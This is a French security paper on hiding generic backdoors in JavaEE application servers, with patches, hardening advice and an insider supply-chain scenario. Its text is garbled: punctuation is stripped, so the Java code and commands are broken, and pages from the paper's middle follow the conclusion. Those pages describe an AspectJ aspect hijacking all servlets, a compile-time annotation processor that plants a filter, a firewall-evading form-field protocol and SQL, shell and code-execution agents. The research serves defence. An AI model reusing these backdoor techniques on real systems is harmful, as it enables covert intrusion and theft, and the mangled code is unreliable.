La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

